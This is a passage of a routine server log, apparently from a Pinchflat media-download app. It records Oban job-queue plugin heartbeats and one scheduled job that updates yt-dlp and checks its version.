09:21:15.821 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:45.822 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.081 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:15.824 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:45.826 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.082 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:15.827 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:45.828 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.083 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:15.829 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:45.830 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.084 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:15.831 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:45.832 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.085 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:15.833 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:45.834 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.086 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:15.835 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:45.836 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.087 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:15.837 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:45.838 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.088 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:15.839 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:45.840 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.089 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:15.842 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:45.843 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.090 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:15.844 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:45.845 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.091 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:15.846 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:45.847 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.092 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:15.848 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:45.849 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.093 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:15.850 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:45.851 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.094 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:15.852 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:45.853 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.095 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:15.854 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:45.855 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.096 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:15.857 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:45.858 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.097 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:15.860 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:45.862 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.098 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:15.863 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:45.864 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.100 [info] {"source":"oban","duration":946,"event":"plugin:stop","jobs":[1701],"plugin":"Oban.Plugins.Cron"} 09:40:00.107 [info] {"args":{},"id":1701,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"system_time":1774791600107835766,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 09:40:00.108 [info] Updating yt-dlp 09:40:00.108 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 09:40:01.263 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 09:40:01.263 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 09:40:02.167 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 09:40:02.168 [debug] QUERY OK source="settings" db=0.3ms idle=1119.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:02.168 [info] {"args":{},"id":1701,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":2060482,"event":"job:stop","queue_time":106528,"attempt":1,"tags":["local_data"]} 09:40:15.865 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:45.867 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.101 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:15.868 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:45.869 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.103 [info] {"source":"oban","duration":360,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:15.870 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:45.872 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.103 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:15.874 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:45.875 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.104 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:15.877 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:45.878 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.105 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:15.879 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:45.881 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.106 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:15.882 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:45.883 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.107 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:15.884 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:45.886 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.108 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:15.887 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:45.888 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.109 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:15.889 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:45.890 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.111 [info] {"source":"oban","duration":440,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:15.891 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:45.892 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.111 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:15.894 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:45.895 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.112 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:15.895 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:45.897 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.113 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:15.898 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:45.899 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.114 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:15.900 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:45.901 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.115 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:15.902 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:45.903 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.116 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:15.904 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:45.905 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.117 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:15.906 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:45.907 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.118 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:15.908 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:45.910 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.119 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:15.912 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:45.913 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.120 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:15.915 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:45.916 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.121 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:15.917 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:45.918 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.122 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:15.920 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:45.921 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.123 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:15.922 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:45.923 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.124 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:15.924 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:45.925 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.125 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:15.926 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:45.927 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.126 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:15.929 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:45.930 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.127 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:15.931 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:45.932 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.128 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:15.933 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:45.934 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.129 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:15.935 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:45.936 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.130 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:15.937 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:45.938 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.131 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:15.939 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:45.940 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.132 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:15.941 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:45.942 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.133 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:15.943 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:45.944 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.134 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:15.945 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:45.946 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.135 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:15.947 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:45.948 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.136 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:15.949 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:45.950 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.137 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:15.951 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:45.952 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.138 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:15.953 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:45.954 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.139 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:15.955 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:45.956 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.140 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:15.957 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:45.958 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.141 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:15.959 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:45.960 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.142 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:15.961 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:45.962 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.143 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:15.963 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:45.964 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.144 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:15.965 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:45.966 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.145 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:15.968 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:45.969 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.146 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:15.970 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:45.971 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.147 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:15.973 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:45.974 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.148 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:15.975 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:45.976 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.149 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:15.977 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:45.978 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.150 [info] {"source":"oban","duration":337,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:15.979 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:45.980 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.151 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:15.981 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:45.982 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.152 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:15.984 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:45.985 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.153 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:15.987 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:45.988 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.154 [info] {"source":"oban","duration":281,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:15.989 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:45.990 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.155 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:15.991 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:45.992 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.156 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:15.993 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:45.994 [info] 